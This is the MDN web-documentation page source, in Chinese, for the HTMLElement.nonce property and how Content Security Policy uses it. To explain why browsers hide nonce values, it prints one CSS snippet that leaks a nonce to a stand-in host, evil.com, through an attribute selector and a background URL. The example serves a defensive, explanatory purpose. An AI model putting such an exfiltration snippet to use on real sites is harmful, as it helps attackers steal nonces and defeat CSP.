---
title: HTMLElement.nonce
slug: Web/API/HTMLElement/nonce
tags:
  - API
  - nonce
  - 内容安全策略
  - 实验性
  - 属性
translation_of: Web/API/HTMLOrForeignElement/nonce
---
<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p>

<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p>

<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p>

<h2 id="语法">语法</h2>

<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce
HTMLElement.nonce = <em>nonce</em></pre>

<h3 id="访问nonce属性值">访问nonce属性值</h3>

<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p>

<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>

<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p>

<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p>

<pre class="notranslate">script[nonce~=whatever] {
  background: url("https://evil.com/nonce?whatever");
}</pre>

<h2 id="说明">说明</h2>

<table class="standard-table">
 <tbody>
  <tr>
   <th scope="col">说明</th>
   <th scope="col">状态</th>
   <th scope="col">注释</th>
  </tr>
  <tr>
   <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
   <td>{{Spec2('HTML WHATWG')}}</td>
   <td>初始定义</td>
  </tr>
 </tbody>
</table>

<h2 id="支持的浏览器">支持的浏览器</h2>

<div>
<div class="hidden">这个兼容的浏览器列表是通过一组结构化数据生成的。如果你想修改活增加数据，请获取最新数据并提交，地址：<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></div>

<p>{{Compat("api.HTMLElement.nonce")}}</p>
</div>